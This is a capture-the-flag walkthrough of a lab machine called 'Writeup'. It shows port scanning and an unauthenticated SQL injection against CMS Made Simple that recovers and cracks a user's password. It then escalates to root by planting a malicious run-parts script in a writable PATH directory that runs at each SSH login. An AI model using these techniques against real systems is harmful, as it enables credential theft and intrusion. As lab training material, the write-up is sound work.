Description

SQLI in CMSMS to get a user shell & use run-parts which is run at each SSH login to get a reverse shell as root.

  • Name: Writeup
  • IP : 10.10.10.138
  • Author : s41m0n, meowmeow
  • Difficulty : 4/10

Discovery

nmap -sC -sV -Pn -p- -T5 --min-rate 1000 --max-retries 5 10.10.10.138

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-22 11:54 CEST
Nmap scan report for 10.10.10.138
Host is up (0.026s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE    VERSION
22/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds

It seems that we don’t have a lot of choices, go for port 80.

Pwn user

The web page does not seems to tell us too much, while actually it is.

... DoS protection script that is in place and watches for Apache 40x errors and bans bad IPs.

In fact if we try to request a page that does not exists (404 error), we see that we aren’t routed for a while (~60 sec). So we cannot use tools like dirscan to perform a server directory listing. By checking for robots.txt file, we see that there is a directory we did not know.

#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/

Let’s go for that directory. Looking at the links, we may think that we could exploit the get request with the parameter page= plus something like the user.txt file, accordingly to the path. Actually, after many trials we notice that this is not the best path to take. What are we missing? Cookies!

The website sets the cookie CMSSESSID9d372ef93962:

CMS Made Simple (CMSMS) is a free, open source (GPL) content management system (CMS) to provide developers, programmers and site owners a web-based development and administration area. In 2017 it won the CMS Critic annual award for Best Open Source Content Management.

It is known to have an Unauthenticated SQL Injection vulnerability on versions <= 2.2.9. The script provided by Daniele Scanu uses a time-based SQL injection to retrieve the credentials, we get the user salt, email and password which can be directly cracked with the --crack parameter.

$ python csm_sqlinjection.py -u http://10.10.10.138/writeup -w /usr/share/dict/rockyou.txt --crack
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Now we just connect to ssh and get the flag:

$ ssh jkr@10.10.10.138 -p raykayjay9
$ jkr@writeup:~$ cat user.txt
d4e493fd4068afc9eb1aa6a55319f978

Pwn root

Once we got the user flag, we can use LinEnum and pspy to dig deeper the machine situation (user and root running scripts). The first tool is not useful at all. On the other hand, with pspy we notice that every time an ssh connection occurs, the following actions are performed:

2019/06/22 09:58:56 CMD: UID=0    PID=5261   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/06/22 09:58:56 CMD: UID=0    PID=5262   | run-parts --lsbsysinit /etc/update-motd.d
2019/06/22 09:58:56 CMD: UID=0    PID=5263   | /bin/sh /etc/update-motd.d/10-uname

To confirm this theory we can try to connect to the ssh server and see if the run-parts is executed every time.

According to the Linux documentation, run-parts is a program to run scripts or programs in a directory. Interestingly, the used path to find the run-parts executable includes a couple of user directories.

Our guessing now is to create our run-parts script in the /usr/local/sbin/ folder, to be automatically executed at the next ssh connection. The aim of our script is to copy the root.txt to a low-priv user readable folder and get the flag.

!#/bin/bash

cp root/root.txt /tmp/tmp_flag.txt
chmod 777 /tmp/tmp_flag.txt

We need to set the right permissions (for instance 777) both to our script and to the new tmp_flag.txt file. Log in a new ssh connection and from the previous one keep monitoring with pspy:

2019/06/22 10:36:23 CMD: UID=0    PID=2731   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/06/22 10:36:23 CMD: UID=0    PID=2734   | cp root/root.txt /tmp/tmp_flag.txt

See? The root flag has been successfully copied!

jkr@writeup:~$ cat /tmp/tmp_flag.txt && rm /tmp/tmp_flag # Other users don't have to see the flag
eeba47f60b48ef92b734f9b6198d7226

But, we don’t like to pwn root without a shell. To get a root shell we can change the content of /usr/local/sbin/run-parts. I used a bash reverse shell to pwn the root user.